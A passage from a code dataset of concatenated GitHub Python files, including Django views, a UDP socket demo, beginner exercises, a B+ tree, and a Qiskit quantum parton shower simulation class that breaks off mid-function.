Q(username__icontains=self.keyword) |\n Q(phone__icontains=self.keyword))\n\n return queryset\n\n # 搜索关键字传给前端\n def get_context_data(self, **kwargs):\n context = super(UserListView, self).get_context_data(**kwargs)\n context['keyword'] = self.keyword\n return context","repo_name":"mxback/devops","sub_path":"users/views_old.py","file_name":"views_old.py","file_ext":"py","file_size_in_byte":10004,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"10617444843","text":"# 单工:只能收或者发,例如收音机\n# 半双工:同一时间只能发或者收,例如对讲机\n# 全双工:收发可以同时,socket是全双工,只不过目前我们的程序还没有用到这个功能\n\nimport socket\n \ndef main():\n # 创建一个udp套接字\n udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n \n # 获取对方的ip/port\n dest_ip = input(\"请输入对方的ip:\")\n dest_port = int(input(\"请输入对方的port:\"))\n \n # 从键盘获取数据\n send_data = input(\"请输入要发送的数据:\")\n \n # 可以使用套接字收发数据\n udp_socket.sendto(send_data.encode(\"utf-8\"), (dest_ip, dest_port))\n \n # 接收回送过来的数据\n recv_data = udp_socket.recvfrom(1024)\n # 套接字是一个可以同时 收发数据\n print(recv_data) \n \n # 关闭套接字\n udp_socket.close()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"A-Wei/have_fun_with_udp_tcp","sub_path":"udp/udp_socket_demo.py","file_name":"udp_socket_demo.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7287095662","text":"# -*- coding:utf-8 -*-\n'''\n@author:oldwai\n'''\n# email: frankandrew@163.com\n\n#练习题1\n'''\n1、假设要用50、20、10、5、1(元)来找零,给定任意小于100且为整数的找零金额,求最少找零张数\n\n[50,20,10,5,1]\nx = input('要找零的钱:---------')\nm50 = x // 50\nm20 = x%50//20\nm10 = x/1000%10\nm5 = m/5000%5\nm1 = m/25000\nif x.isdigit():\n x = int(x)\nif x % 50 == 0:\n print('要找%d张零钱'%int(x/50))\nif x :\n pass\n'''\n\n#练习题2\n'''\n2、给出一串字符串,求出该字符串中最长的回文字符串\n例如:\n 给定字符串为 \"babad\"\n\t Output: \"bab\" or \"aba\"\n'''\n\n\n\n#练习题3\n'''\n3、给定一个由字符串组成的列表,将由相同字符组成的字符串归并在一起\n\t\tlist = ['ilsi', 'lsii', 'sili', 'isli, 'ilis', 'siil','rmp',\n\t\t'prm', 'pmr', 'mrp', 'mpr', 'rpm','kema', 'make','meak', 'mkae',\n\t\t 'ekma', 'meka', 'amke', 'kmae', 'test']\n\n\t\tOutput:[['isli','lsii'.......],['mpr','pmr'....],['make','ekma'....],['test']]\n'''\n\nlist01 = ['ilsi', 'lsii', 'sili', 'isli', 'ilis', 'siil','rmp', 'prm',\\\n 'pmr', 'mrp', 'mpr', 'rpm','kema', 'make','meak', 'mkae', 'ekma', \\\n 'meka', 'amke', 'kmae', 'test']\niils = []\nmake = []\nmpr = []\ntest = []\nprint(\"原始的列表:\",list01)\nfor i in list01:\n t = \"\".join((lambda x:(x.sort(),x)[1])(list(i)))\n if t == 'iils':\n iils.append(i)\n elif t == 'mpr':\n mpr.append(i)\n elif t == 'estt':\n test.append(i)\n elif t == 'aekm':\n make.append(i)\n else:\n print(\"不满足条件\")\n\nprint(\"排序之后的列表\",list((iils,make,mpr,test)))\ninput()\n","repo_name":"oldwai/windows_tianlang_pycharm","sub_path":"Pycharm_py/Py_practice_example/practice/name.py","file_name":"name.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"71326912802","text":"from __future__ import print_function\nimport sys, time, os\nimport numpy as np\nimport bisect\n\n\nclass Node:\n\tdef __init__(self):\n\t\tself.keys = []\n\t\tself.children = []\n\t\tself.next = None\n\t\tself.isleaf = True\n\n\tdef split(self):\n\t\ttemp_node = Node()\n\t\ttemp_node.isleaf = self.isleaf\n\t\tmid = len(self.keys) // 2\n\t\tmid_value = self.keys[mid]\n\t\t\n\t\tif not self.isleaf:\n\t\t\ttemp_node.keys = self.keys[mid+1:]\n\t\t\tself.keys = self.keys[:mid]\n\t\t\t\n\t\t\ttemp_node.children = self.children[mid+1:]\n\t\t\tself.children = self.children[:mid+1]\n\t\t\t\n\t\telse:\n\t\t\ttemp_node.keys = self.keys[mid:]\n\t\t\tself.keys = self.keys[:mid]\n\n\t\t\ttemp_node.children = self.children[mid:]\n\t\t\tself.children = self.children[:mid]\n\n\t\t\ttemp_node.next = self.next\n\t\t\tself.next = temp_node\n\n\t\treturn mid_value, temp_node\n\n\nclass BPlusTree(Node):\n\tdef __init__(self, capacity):\n\t\tself.capacity = capacity\n\t\tself.root = Node()\n\t\n\tdef range_query(self, min_val, max_val):\n\t\tret = 0\n\t\tstart = self.get_start_leaf(min_val, self.root)\n\t\tcurr_node = start\n\n\t\twhile curr_node is not None:\n\t\t\tcount_curr_node, curr_node = self.keys_in_range(min_val, max_val, curr_node)\n\t\t\tret += count_curr_node\n\n\t\treturn ret\n\t\n\tdef insert(self, value, node):\n\t\tif not node.isleaf:\n\t\t\tfor i in range(len(node.keys)):\n\t\t\t\tif i is 0 and value < node.keys[i]:\n\t\t\t\t\tmid_value, new = self.insert(value, node.children[0])\n\t\t\t\t\tbreak\n\t\t\t\tif i is (len(node.keys) - 1):\n\t\t\t\t\tif value < node.keys[i]:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\telse :\n\t\t\t\t\t\tmid_value, new = self.insert(value, node.children[-1])\n\t\t\t\t\t\tbreak\n\t\t\t\tif(value >= node.keys[i]):\n\t\t\t\t\tif (value self.capacity:\n\t\t\t\treturn node.split()\n\t\t\telse:\n\t\t\t\treturn None, None\n\n\t\tif mid_value:\n\t\t\tidx = bisect.bisect(node.keys, mid_value)\n\t\t\tnode.keys.insert(idx, mid_value)\n\t\t\tnode.children.insert(idx+1, new)\n\t\t\tif len(node.keys) <= self.capacity:\n\t\t\t\treturn None, None\n\t\t\telse:\n\t\t\t\treturn node.split()\n\t\telse:\n\t\t\treturn None, None\n\n\tdef insert_op(self, value):\n\t\tmid_value, new_node = self.insert(value, self.root)\n\t\tif mid_value:\n\t\t\tnew_root = Node()\n\t\t\tnew_root.children = [self.root, new_node]\n\t\t\tnew_root.keys = [mid_value]\n\t\t\tnew_root.isleaf = False\n\t\t\tself.root = new_root\n\n\tdef get_start_leaf(self,val, node):\n\t\tif(node.isleaf):\n\t\t\treturn node\n\n\t\tfor i in range(len(node.keys)):\n\t\t\tif i == 0 and val <= node.keys[0]:\n\t\t\t\t\treturn self.get_start_leaf(val, node.children[0])\n\n\t\t\tif i == (len(node.keys) - 1):\n\t\t\t\tif val <= node.keys[-1]:\n\t\t\t\t\tcontinue\n\t\t\t\telse:\t\n\t\t\t\t\treturn self.get_start_leaf(val, node.children[-1])\n\n\t\t\t\n\t\t\tif val > node.keys[i]:\n\t\t\t\tif val <= node.keys[i+1]:\n\t\t\t\t\treturn self.get_start_leaf(val, node.children[i+1])\n\n\tdef keys_in_range(self, min_val, max_val, node):\n\t\tret=0\n\t\tif(len(node.keys) == 0):\n\t\t\treturn 0, None\n\n\t\tfor i in range(len(node.keys)):\n\t\t\tif node.keys[i] >= min_val:\n\t\t\t\tif node.keys[i] <= max_val:\n\t\t\t\t\tret+=1\n\n\t\tif node.keys[-1] > max_val:\n\t\t\treturn ret, None\n\t\telse:\n\t\t\treturn ret, node.next\n\n\n\t\n\ndef execute(cmd):\n\tglobal output_buffer\n\n\tif(cmd[0] == \"RANGE\"):\n\t\tout = tree.range_query(int(cmd[1]), int(cmd[2]))\n\t\toutput_buffer.append(str(out))\n\telif(cmd[0] == \"INSERT\"):\n\t\ttree.insert_op(int(cmd[1]))\n\telif(cmd[0] == \"COUNT\"):\n\t\tout = tree.range_query(int(cmd[1]), int(cmd[1]))\n\t\toutput_buffer.append(str(out))\n\telif(cmd[0] == \"FIND\"):\n\t\tout = tree.range_query(int(cmd[1]), int(cmd[1]))\n\t\tif out == 0:\n\t\t\toutput_buffer.append(\"NO\")\n\t\telse:\n\t\t\toutput_buffer.append(\"YES\")\n\t\n\tif len(output_buffer) >= ((B * 1.0) / 10.0):\n\t\tfor out in output_buffer:\n\t\t\tprint(out)\n\t\toutput_buffer = []\n\ndef main():\n\t# print(file, M, B, capacity)\n\tglobal output_buffer\n\tinput_buffer = []\n\twith open(file, 'r') as f:\n\t\tfor line in f:\n\t\t\tline = line.strip().split()\n\t\t\tinput_buffer.append(line)\n\t\t\t\n\t\t\tif len(input_buffer) >= M-1:\n\t\t\t\tfor cmd in input_buffer:\n\t\t\t\t\texecute(cmd)\n\t\t\t\tinput_buffer = []\n\n\t\tif len(input_buffer):\n\t\t\tfor cmd in input_buffer:\n\t\t\t\texecute(cmd)\n\t\tinput_buffer = []\n\n\tfor res in output_buffer:\n\t\tprint(res)\n\toutput_buffer = []\n\noutput_buffer = list()\n\nif __name__ == \"__main__\":\n\tif len(sys.argv) != 4:\n\t\tsys.exit(\"Usage: python file.py input_file M B\")\n\t\n\targs = sys.argv\n\tfile = args[1]\n\tM = int(args[2])\n\tB = int(args[3])\n\t# global input_buffer\n\t# input_buffer = []\n\tcapacity = B - 8 // 12\n\tpointers = capacity+1\n\n\tif(M<2):\n\t\tsys.exit(\"M should be greater than or equal to 2\")\n\tif(B<20):\n\t\tsys.exit(\"Insufficient size for node\")\n\tif (M*B > 1000000):\n\t\tsys.exit(\"M * B should be less than 1000000\")\n\tif pointers < 2:\n\t\tpointers = 2\n\t\n\ttree = BPlusTree(capacity)\n\tmain()","repo_name":"yudhik11/BPlusTree","sub_path":"bplustree.py","file_name":"bplustree.py","file_ext":"py","file_size_in_byte":4715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71821413921","text":"import sys\ninput = sys.stdin.readline\n\n\n\nfrom collections import deque\ndef gcd(x,y):\n\twhile y >0:\n\t\tx,y = y,x%y\n\treturn x\n\ndef divisor(n):\n\tanswer = []\n\tfor i in range(1,int(n**0.5)+1):\n\t\tif n % i == 0:\n\t\t\tanswer.append(i)\n\t\t\tif i**2 != n:\n\t\t\t\tanswer.append(n//i)\n\treturn sorted(answer)\n\nn = int(input())\narr = deque(list(map(int,input().split())))\n\nwhile len(arr) > 1:\n\tx = arr.popleft()\n\ty = arr.popleft()\n\tarr.append(gcd(x,y))\n\ngcdNum = arr.popleft()\n\nanswer = divisor(gcdNum)\n\nfor i in answer:\n\tprint(i)\n\n\n\n\n\n","repo_name":"maantano/Coding-Test","sub_path":"파이썬/2023.11.30 공약수(5618) _브루트포스.py","file_name":"2023.11.30 공약수(5618) _브루트포스.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36612684927","text":"from django.shortcuts import render, HttpResponse\n\n# Create your views here.\n\ndef science(request):\n # html = '科研基地'\n # return HttpResponse(html)\n\n context = {\n 'active_menu': 'science',\n }\n return render(request, 'science.html', context=context)\n","repo_name":"my-xh/hengDaProject","sub_path":"scienceApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13435367795","text":"import math\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom qiskit import QuantumCircuit, Aer, execute\nfrom qiskit import QuantumRegister, ClassicalRegister\nimport qiskit.providers.aer as qpa\n\n\nclass QuantumPartonShower_MCM:\n '''\n A class for executing the Quantum Parton Shower (QPS) algorithm, with mid-circuit measurements (MCM).\n\n Quantum gates controlled on classically processed measurements must be implemented at the hardware level. \n We can still simulate 'classically-controlled' gates -- but inefficiently -- using the functionality of this class.\n Rather than dynamically selecting which gates on apply via hardware, instead we just apply every possible selection, \n based on the different measurement possiblities. The h_bool parameter is used throughout the class to implement\n this functionality.\n\n Note: The second simplification mentioned in the paper -- that we can simply not encode phis and Nones on qubits --\n cannot currently be implemetned in Qiskit. Thus, the particle registers still use 3 qubits.\n\n Params:\n N (int) number of steps\n ni (int) number of initial particles\n g_1 (float) type-1 fermion coupling\n g_2 (float) type-2 fermion coupling\n g_12 (float) mixed fermion coupling\n eps (float) scale parameter\n\n Class attributes:\n N, ni, g_1, g_2, g_12, eps\n\n L (int) ceil(log2(N+ni))\n g_a (float) a-type fermion coupling (eq. 6)\n g_b (float) b-type fermion coupling (eq. 6)\n u (float) rotation angle for diagonalization (eq. 7)\n p_len (int) number of qubits per particle\n h_len (int) number of qubits for each history step\n e_len (int) number of qubits in the emission register\n w_len (int) number of qubits in the main ancillary register\n\n pReg (QuantumRegister) particle register\n hReg (QuantumRegister) history register\n w_hReg (QuantumRegister) ancillary reg. for Uh\n eReg (QuantumRegister) emission qubit\n wReg (QuantumRegister) main ancillary reg.\n n_aReg (QuantumRegister) number register\n w_aReg (QuantumRegister) ancillary reg. for Ucount\n circuit (QuantumCircuit) that implements QPS\n '''\n def __init__(self, N, ni, g_1, g_2, g_12, eps):\n self._N= N\n self._ni= ni\n self.g_1= g_1\n self.g_2= g_2\n self.g_12= g_12\n self.eps= eps\n\n # Derived params\n self._L= int(math.ceil(math.log(N + ni, 2)))\n \n gp = math.sqrt(abs((g_1 - g_2) ** 2 + 4 * g_12 ** 2))\n if g_1 > g_2:\n gp = -gp\n self.g_a= (g_1 + g_2 - gp) / 2\n self.g_b= (g_1 + g_2 + gp) / 2\n self.u = math.sqrt(abs((gp + g_1 - g_2) / (2 * gp)))\n\n # Define some register lengths\n self._p_len = 3\n self._h_len = self._L\n self._e_len = 1\n self._w_len = 3\n\n # Define the registers\n self.pReg, self.hReg, self.w_hReg, self.eReg, self.wReg, self.n_aReg, self.w_aReg= self.allocateQubits()\n\n self._circuit = QuantumCircuit(self.wReg, self.pReg, self.hReg, self.eReg, self.n_aReg,\n self.w_hReg, self.w_aReg)\n\n @staticmethod\n def ptype(x):\n ''' Parses particle type, from binary string to descriptive string. '''\n if x=='000':\n return '0'\n if x=='001':\n return 'phi'\n if x=='100':\n return 'f1'\n if x=='101':\n return 'f2'\n if x=='110':\n return 'af1'\n if x=='111':\n return 'af2'\n else:\n return 'NAN'\n\n def P_f(self, t, g):\n alpha = g ** 2 * self.Phat_f(t) / (4 * math.pi)\n return alpha\n\n def Phat_f(self, t):\n return math.log(t)\n\n def Phat_bos(self, t):\n return math.log(t)\n\n def Delta_f(self, t, g):\n return math.exp(self.P_f(t, g))\n\n def P_bos(self, t, g_a, g_b):\n alpha = g_a ** 2 *self.Phat_bos(t) / (4 * math.pi) + g_b ** 2 * self.Phat_bos(t) / (4 * math.pi)\n return alpha\n\n def Delta_bos(self, t, g_a, g_b):\n return math.exp(self.P_bos(t, g_a, g_b))\n\n\n def populateParameterLists(self):\n '''\n Populates the 6 parameter lists -- 3 splitting functions, 3 Sudakov factors -- \n with correct values for each time step theta.\n \n Sets the following attributes:\n timeStepList (List(float)) scale / opening angle array\n P_aList (List(float)) Splitting functions for a-type fermions\n P_bList (List(float)) SPlitting functions for b-type fermions\n P_phiList (List(float)) Splitting functions for phis\n Delta_aList (List(float)) Sudakov factors for a-type fermions\n Delta_bList (List(float)) Sudakov factors for b-type fermions\n Delta_phiList (List(float)) Sudakov factors for phis\n '''\n timeStepList, P_aList, P_bList, P_phiList, Delta_aList, Delta_bList, Delta_phiList= [], [], [], [], [], [], []\n for i in range(self._N):\n # Compute time steps\n t_up = self.eps ** ((i) / self._N)\n t_mid = self.eps ** ((i + 0.5) / self._N)\n t_low = self.eps ** ((i + 1) / self._N)\n timeStepList.append(t_mid)\n # Compute values for emission matrices\n Delta_a = self.Delta_f(t_low, self.g_a) / self.Delta_f(t_up, self.g_a)\n Delta_b = self.Delta_f(t_low, self.g_b) / self.Delta_f(t_up, self.g_b)\n Delta_phi = self.Delta_bos(t_low, self.g_a, self.g_b) / self.Delta_bos(t_up, self.g_a, self.g_b)\n P_a, P_b, P_phi = self.P_f(t_mid, self.g_a), self.P_f(t_mid, self.g_b), self.P_bos(t_mid, self.g_a, self.g_b)\n\n # Add them to the list\n P_aList.append(P_a)\n P_bList.append(P_b)\n P_phiList.append(P_phi)\n Delta_aList.append(Delta_a)\n Delta_bList.append(Delta_b)\n Delta_phiList.append(Delta_phi)\n\n self.timeStepList= timeStepList\n self.P_aList= P_aList\n self.P_bList= P_bList\n self.P_phiList= P_phiList\n self.Delta_aList= Delta_aList\n self.Delta_bList= Delta_bList\n self.Delta_phiList= Delta_phiList\n\n\n def allocateQubits(self):\n ''' Create and return all quantum registers needed. '''\n nqubits_p = self._p_len * (self._N + self._ni)\n\n pReg = QuantumRegister(nqubits_p, 'p')\n hReg = QuantumRegister(self._L, 'h')\n w_hReg = QuantumRegister(self._L - 1, 'w_h')\n eReg = QuantumRegister(self._e_len, 'e')\n wReg = QuantumRegister(self._w_len, 'w')\n n_aReg = QuantumRegister(self._L, 'n_a')\n w_aReg = QuantumRegister(self._L - 1, 'w_a')\n\n return (pReg, hReg, w_hReg, eReg, wReg, n_aReg, w_aReg)\n\n\n def initializeParticles(self, initialParticles):\n ''' \n Apply appropriate X gates to ensure that the p register contains all of the initial particles.\n The p registers contains particles in the form of a string '[MSB, middle bit, LSB]'.\n\n Params:\n initialParticles (List(str)) of the initial particles, where each particle is a binary string (see ptype) \n '''\n for currentParticleIndex in range(len(initialParticles)):\n for particleBit in range(3):\n pBit= 2 - particleBit\n if int(initialParticles[currentParticleIndex][particleBit]) == 1:\n self._circuit.x(self.pReg[currentParticleIndex * self._p_len + pBit])\n\n\n def flavorControl(self, flavor, control, target, ancilla, control_index, target_index, ancilla_index, h_bool=None):\n '''\n Controlled x onto targetQubit if \"control\" particle is of the correct flavor. \n \n Params:\n flavor (str) which particle type to control on (a, b, or phi)\n control (QuantumRegister) control particle reg.\n target (QuantumRegister) \n ancilla (QuantumRegister) ancillary reg.\n control_index (int)\n target_index (int)\n ancilla_index (int)\n h_bool (List(int)) If none, no .c_if() gates are applied. \n Otherwise, apply apply .c_if() gates for each comp. basis state (integers)\n contained in h_bool.\n '''\n if h_bool == None:\n if flavor == \"phi\":\n self._circuit.x(control[control_index + 1])\n self._circuit.x(control[control_index + 2])\n self._circuit.ccx(control[control_index + 0], control[control_index + 1], ancilla[ancilla_index])\n self._circuit.ccx(control[control_index + 2], ancilla[ancilla_index], target[target_index + 0])\n # undo work\n self._circuit.ccx(control[control_index + 0], control[control_index + 1], ancilla[ancilla_index])\n self._circuit.x(control[control_index + 1])\n self._circuit.x(control[control_index + 2])\n if flavor == \"a\":\n self._circuit.x(control[control_index + 0])\n self._circuit.ccx(control[control_index + 0], control[control_index + 2], target[target_index + 0])\n # undo work\n self._circuit.x(control[control_index + 0])\n if flavor == \"b\":\n self._circuit.ccx(control[control_index + 0], control[control_index + 2], target[target_index + 0])\n else:\n for h in h_bool:\n if flavor == \"phi\":\n self._circuit.x(control[control_index + 1]).c_if(self.hReg_cl, h)\n self._circuit.x(control[control_index + 2]).c_if(self.hReg_cl, h)\n self._circuit.ccx(control[control_index + 0], control[control_index + 1], ancilla[ancilla_index]).c_if(self.hReg_cl, h)\n self._circuit.ccx(control[control_index + 2], ancilla[ancilla_index], target[target_index + 0]).c_if(self.hReg_cl, h)\n # undo work\n self._circuit.ccx(control[control_index + 0], control[control_index + 1], ancilla[ancilla_index]).c_if(self.hReg_cl, h)\n self._circuit.x(control[control_index + 1]).c_if(self.hReg_cl, h)\n self._circuit.x(control[control_index + 2]).c_if(self.hReg_cl, h)\n if flavor == \"a\":\n self._circuit.x(control[control_index + 0]).c_if(self.hReg_cl, h)\n self._circuit.ccx(control[control_index + 0], control[control_index + 2], target[target_index + 0]).c_if(self.hReg_cl, h)\n # undo work\n self._circuit.x(control[control_index + 0]).c_if(self.hReg_cl, h)\n if flavor == \"b\":\n self._circuit.ccx(control[control_index + 0], control[control_index + 2], target[target_index + 0]).c_if(self.hReg_cl, h)\n\n\n def incrementer(self, l, b, a, control):\n '''\n Applied a controlled-increment on a given subregister in self.circuit.\n\n Params:\n l (int) length of the counting register\n b (QuantumRegister) countReg\n a (QuantumRegister) workReg\n control (Qubit) control qubit\n '''\n self._circuit.ccx(control, b[0], a[0])\n for j in range(1, l-1):\n self._circuit.ccx(a[j-1], b[j], a[j])\n\n for j in reversed(range(1, l)):\n self._circuit.cx(a[j-1], b[j])\n if j > 1:\n self._circuit.ccx(a[j-2], b[j-1], a[j-1])\n else:\n self._circuit.ccx(control, b[j-1], a[j-1])\n\n self._circuit.cx(control, b[0])\n\n\n def uCount(self, m, l):\n '''\n Populate the count register (n_aReg) using current particle states.\n Uses wReg[0] as the control and wReg[1] as ancilla qubit for flavorControl and incrementer, respectively.\n\n Params:\n m (int) iteration/step \n l (int) current size of n_aReg\n '''\n for k in range(self._ni + m):\n self.flavorControl('a', self.pReg, self.wReg, self.wReg, (k * self._p_len), 0, 1)\n self.incrementer(l, self.n_aReg, self.w_aReg, self.wReg[0])\n self.flavorControl('a', self.pReg, self.wReg, self.wReg, (k * self._p_len), 0, 1)\n\n\n def reverse(self, lst):\n ''' Reverse a list (lst) in place. '''\n lst.reverse()\n return lst\n\n\n def intToBinary(self, l, number):\n '''\n Converts an integer to a binary list of size l with LSB first and MSB last.\n Each element of the list is an integer (0 or 1), and the list is padded with zeros up to size l.\n \n Params:\n l (int) size of the binary list\n number (int) to convert\n '''\n numberBinary = [int(x) for x in list('{0:0b}'.format(number))]\n numberBinary = (l - len(numberBinary)) * [0] + numberBinary\n return self.reverse(numberBinary)\n\n\n def numberControl(self, l, number, countReg, workReg, h_bool= None):\n '''\n Applies an X to the l-2 (0 indexed) qubit of workReg if countReg encodes the inputted number in binary\n Returns:\n this l-2 qubit, unless l=1, in which case return the only countReg qubit\n DOES NOT CLEAN AFTER ITSELF - USE numberControlT to clean after this operation\n\n Params:\n l (int) size of countReg\n number (int) to control on\n countReg (QuantumRegister) reg. on which number is encoded\n workReg (QuantumRegister) ancillary reg.\n hbool (List(int)) See flavorControl.\n '''\n if type(number) == int:\n numberBinary = self.intToBinary(l, number)\n else:\n numberBinary = number\n\n if h_bool == None:\n [self._circuit.x(countReg[i]) for i in range(len(numberBinary)) if numberBinary[i] == 0]\n else:\n for h in h_bool:\n [self._circuit.x(countReg[i]).c_if(self.hReg_cl, h) for i in range(len(numberBinary)) if numberBinary[i] == 0]\n\n # first level does not use work qubits as control\n if l > 1:\n if h_bool == None: self._circuit.ccx(countReg[0], countReg[1], workReg[0])\n else: \n for h in h_bool: self._circuit.ccx(countReg[0], countReg[1], workReg[0]).c_if(self.hReg_cl, h)\n\n # subfunction to recursively handle toffoli gates\n def binaryToffolis(level):\n if h_bool == None: self._circuit.ccx(countReg[level], workReg[level - 2], workReg[level - 1])\n else: \n for h in h_bool: self._circuit.ccx(countReg[level], workReg[level - 2], workReg[level - 1]).c_if(self.hReg_cl, h)\n if level < l - 1:\n binaryToffolis(level + 1)\n\n if l > 2:\n binaryToffolis(2)\n\n # return qubit containing outcome of the operation\n if l == 1:\n return countReg[0]\n else:\n return workReg[l - 2]\n\n\n def numberControlT(self, l, number, countReg, workReg, h_bool= None):\n ''' CLEANS AFTER numberControl operation. '''\n if type(number) == int:\n numberBinary = self.intToBinary(l, number)\n else:\n numberBinary = number\n\n # subfunction to recursively handle toffoli gates\n def binaryToffolisT(level):\n if level < l:\n binaryToffolisT(level + 1)\n if h_bool == None: self._circuit.ccx(countReg[level], workReg[level - 2], workReg[level - 1])\n else: \n for h in h_bool: self._circuit.ccx(countReg[level], workReg[level - 2], workReg[level - 1]).c_if(self.hReg_cl, h)\n\n if l > 2:\n binaryToffolisT(2)\n\n if l > 1:\n if h_bool == None: self._circuit.ccx(countReg[0], countReg[1], workReg[0])\n else: \n for h in h_bool: self._circuit.ccx(countReg[0], countReg[1], workReg[0]).c_if(self.hReg_cl, h)\n\n if h_bool == None:\n [self._circuit.x(countReg[i]) for i in range(len(numberBinary)) if numberBinary[i] == 0]\n else:\n for h in h_bool: [self._circuit.x(countReg[i]).c_if(self.hReg_cl, h) for i in range(len(numberBinary)) if numberBinary[i] == 0]\n\n\n##############################################################################################################################\n# Utilities for classically-controlled gates #\n##############################################################################################################################\n\n\n @staticmethod\n def history_to_counts(hList, niList):\n '''\n For a given history, encoded as a list hList (output of generate_h), \n return the total number of particles (n_tot) and the number of bosons (n_phi).\n\n List index 0 of hList is the first step, and subsequent steps proceed forwards through the list.\n\n niList is a list of the initial particles, encoding as the following integers:\n 5, 7= fermion b\n 4, 6= fermion a\n 1= boson\n 0= no particle\n '''\n fermList= [4, 5, 6, 7]\n ni= len(niList)\n n_tot= ni\n n_phi= 0\n particles= []\n\n # initialize\n for n in range(ni):\n particles+= [niList[n]]\n if niList[n] == 1:\n n_phi+= 1\n\n for j in range(len(hList)):\n h= hList[-j-1] # string\n hint= int(h, 2)\n if hint == 0: \n particles+= [0]\n else:\n if particles[hint-1] in fermList:\n particles+= [1]\n n_phi+= 1\n elif particles[hint-1] == 1:\n particles+= [4]\n particles[hint-1]= 6\n n_phi-= 1\n else:\n print('Warning: emission from None particle. Result: None particle...')\n particles+= [0]\n n_tot+= 1\n return n_tot, n_phi\n\n\n @staticmethod\n def generate_h(N, L, ni, l=[[]]):\n '''\n Generate and return a list of all possible emission histories for an N-step process, starting with ni fermions.\n\n Params:\n\n N (int) number of steps\n L (int) size of counting register\n ni (int) number of initial particles\n l (list) of previous histories, empty by default (start at step 0), used recursively\n\n Returns:\n A list containing all possible emission histories for an N-step shower.\n '''\n if N == 0:\n return [[]]\n nh = len(l[0])\n l_new= []\n for h in l:\n for j in range(nh + ni + 1):\n binj= bin(j)[2:]\n\n if len(binj) < L:\n binj= '0'*(L - len(binj)) + binj\n if j < ni + 1: l_new+= [[binj] + h]\n \n # index -1 corresponds to particle ni + 1, index -2 to particle ni + 2\n # For emission on particle j to be possible, particle j can't be zero. And particle j = ni + i\n # corresponds to index -i. ==> index= ni - j\n\n else:\n if int(h[ni - j], 2) != 0: l_new+= [[binj] + h]\n\n if nh >= N - 1:\n return l_new\n else:\n return QuantumPartonShower_MCM.generate_h(N, L, ni, l_new)\n\n\n @staticmethod\n def h_map(N, L, niList):\n '''\n Return a map from tuples (n_tot, n_phi) to a list of all possible emission histories (list)\n that could produce that particlar number configuration. This is used to implement .c_if() rotation gates\n by applying a particular rotation (angle), classically controlled on all possible emission histories \n that induce that angle.\n\n Note: reverses the order of emissions in the resulting values (lists)\n\n Note: It's an exponentially long sequence, so this hack does not generalize to arbitrarily large showers.\n\n Params:\n N (int) number of steps\n L (int) counting register size\n niList (list(str)) of initial particles\n '''\n\n histories= QuantumPartonShower_MCM.generate_h(N, L, len(niList))\n\n counts= {}\n for history in histories:\n c= QuantumPartonShower_MCM.history_to_counts(history, niList)\n if c in counts:\n counts[c]+= [history]\n else:\n counts[c]= [history]\n\n return counts\n\n\n##############################################################################################################################\n# #\n##############################################################################################################################\n\n\n def uE(self, l, m, Delta_phi, Delta_a, Delta_b, initialParticles):\n '''\n Constructs and applies a quantum circuit that implements uE.\n \n Params:\n l (int) length of the counting register\n m (int) iteration\n Delta_phi (float) Sudakov factor for phis\n Delta_a (float) Sudakov factor for a-type fermions\n Delta_b (float) Sudakov factor for b-type fermions\n initialParticles (List(str)) used to generate the possible histories.\n '''\n hmap= QuantumPartonShower_MCM.h_map(m, self._L, [int(x, 2) for x in initialParticles])\n\n for key in hmap:\n n_tot, n_phi= key \n\n if m > 0:\n h_bool= [int(''.join(hmap[key][0]), 2)]\n for j in range(1, len(hmap[key])):\n h_bool+= [int(''.join(hmap[key][j]), 2)]\n else:\n h_bool= None\n\n for n_a in range(0, n_tot - n_phi + 1):\n n_b= n_tot - n_phi - n_a\n Delta = Delta_phi ** n_phi * Delta_a ** n_a * Delta_b ** n_b\n #print('na= %d, nb= %d, nphi= %d, emit angle: ' %(n_a, n_b, n_phi) + str((2 * math.acos(np.sqrt(Delta)))))\n aControlQub = self.numberControl(l, n_a, self.n_aReg, self.w_aReg, h_bool= h_bool)\n if m > 0: \n for h in h_bool: self._circuit.cry((2 * math.acos(np.sqrt(Delta))), aControlQub, self.eReg[0]).c_if(self.hReg_cl, h)\n else: self._circuit.cry((2 * math.acos(np.sqrt(Delta))), aControlQub, self.eReg[0])\n self.numberControlT(l, n_a, self.n_aReg, self.w_aReg, h_bool= h_bool)\n\n\n def generateGrayList(self, l, number):\n '''\n Return list of elements in gray code from |0> to |number> where each entry is of type[int, binary list], and\n int: which bit is the target in the current iteration\n binary list: the state of the rest of the qubits (controls)\n\n Params:\n l (int) size of the current count register\n number (int) target for the gray code\n \n Returns:\n the grayList (List(int, List(int)))\n '''\n grayList = [[0, l * [0]]]\n targetBinary = self.intToBinary(l, number)\n for index in range(len(targetBinary)):\n if targetBinary[index] == 1:\n grayList.append([index, (list(grayList[-1][1]))])\n grayList[-1][1][index] = 1\n return grayList[1:]\n\n\n def twoLevelControlledRy(self, l, angle, k, externalControl, reg, workReg, h_bool= None):\n '''\n Implements a two level Ry rotation from state |0> to |k>, if externalControl qubit is on.\n For reference: http://www.physics.udel.edu/~msafrono/650/Lecture%206.pdf\n\n Params:\n l (int) rotation register size (# qubits)\n angle (float) rotation angle\n k (int) integer (comp. basis state) to which this gate rotates\n externalControl (Qubit) control qubit\n reg (QuantumRegister) rotation register\n workReg (QuantumRegister) ancillary\n h_bool (bool) See flavorControl.\n '''\n grayList = self.generateGrayList(l, k)\n #print('angle: ' + str(angle))\n if k == 0:\n return\n if l == 1 and k == 1:\n if h_bool == None: self._circuit.cry(angle, externalControl, reg[0])\n else: \n for h in 